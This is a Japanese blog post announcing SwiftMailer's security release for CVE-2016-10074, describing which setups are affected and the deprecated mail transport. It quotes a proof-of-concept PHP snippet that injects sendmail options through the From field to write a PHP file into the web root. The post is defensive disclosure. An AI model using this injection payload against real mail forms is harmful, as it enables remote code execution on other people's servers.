LoginSignup
11
4

More than 5 years have passed since last update.

リモートコード実行の脆弱性 (CVE-2016-10074) に対応した SwiftMailer のセキュリティリリース

Last updated at Posted at 2016-12-30

概要

リモートコード実行の脆弱性 (CVE-2016-10074) に対応するために SwiftMailer 5.4.5 がリリースされました。脆弱性の条件に該当するプロジェクトはバージョンアップやアプリケーションの修正が求められます。

該当するプロジェクト

  • sendmail もしくは sendmail と互換性があり、-X オプションが利用可能であるプログラムを使う (postfix は -X を無効にしている)
  • From、Sender、ReturnPath フィールドの値にユーザーからの入力を使う

lsmith さんのツイートによれば、Symfony の場合、transportsmtp の代わりに mail を使っているプロジェクトが該当します。

検証コード

脆弱性を説明するドキュメントに記載されているコードは次のようなものです。

// sender フィールドをもつ問い合わせフォームから
// $_GET、$_POST  などの信用されないソースからやってくる攻撃者の入力

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.com';

// ------------------

// SwiftMailer の脆弱性経由での mail() パラメーターインジェクション

require_once 'lib/swift_required.php';
// メールトランスポート
$transport = Swift_MailTransport::newInstance();
// 先ほど生成した Transport を使って Mailer を生成する 
$mailer = Swift_Mailer::newInstance($transport);

// メッセージを生成する
$message = Swift_Message::newInstance('Swift PoC exploit')
  ->setFrom(array($email_from => 'PoC Exploit Payload'))
  ->setTo(array('receiver@domain.org', 'other@domain.org' => 'A name'))
  ->setBody('Here is the message itself')
  ;
// 'from' フィールドに PoC ペイロードをもつメッセージを送る
$result = $mailer->send($message);

同時期に PHPMailer のプロジェクトでも CVE-2016-10033 および CVE-2016-10045 の脆弱性に対応したバージョンが公開されました。脆弱性のくわしい解説については HASH コンサルティングの徳丸先生のブログ記事をご参照ください。

非推奨になった機能と将来への対応

Swift_MailTransport および Swift_Transport_MailTransport が非推奨なり、バージョン 6.0 で削除される予定です。アプリケーションに脆弱性がなくても、これらのクラスを使っている場合、将来のバージョンに備えてコードを修正する必要があります。

今後の対応

今回の脆弱性の原因が mailescapeshellargescapeshellcmd 関数の仕様にあることから、複数のプロジェクトのあいだで利用できるコードの開発や、これらの標準関数の改善を視野に入れたセキュリティアドバイザリが執筆されています。SwiftMailer に脆弱性がまだ存在するのではないかということで調査も続けられています。

11
4
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
11
4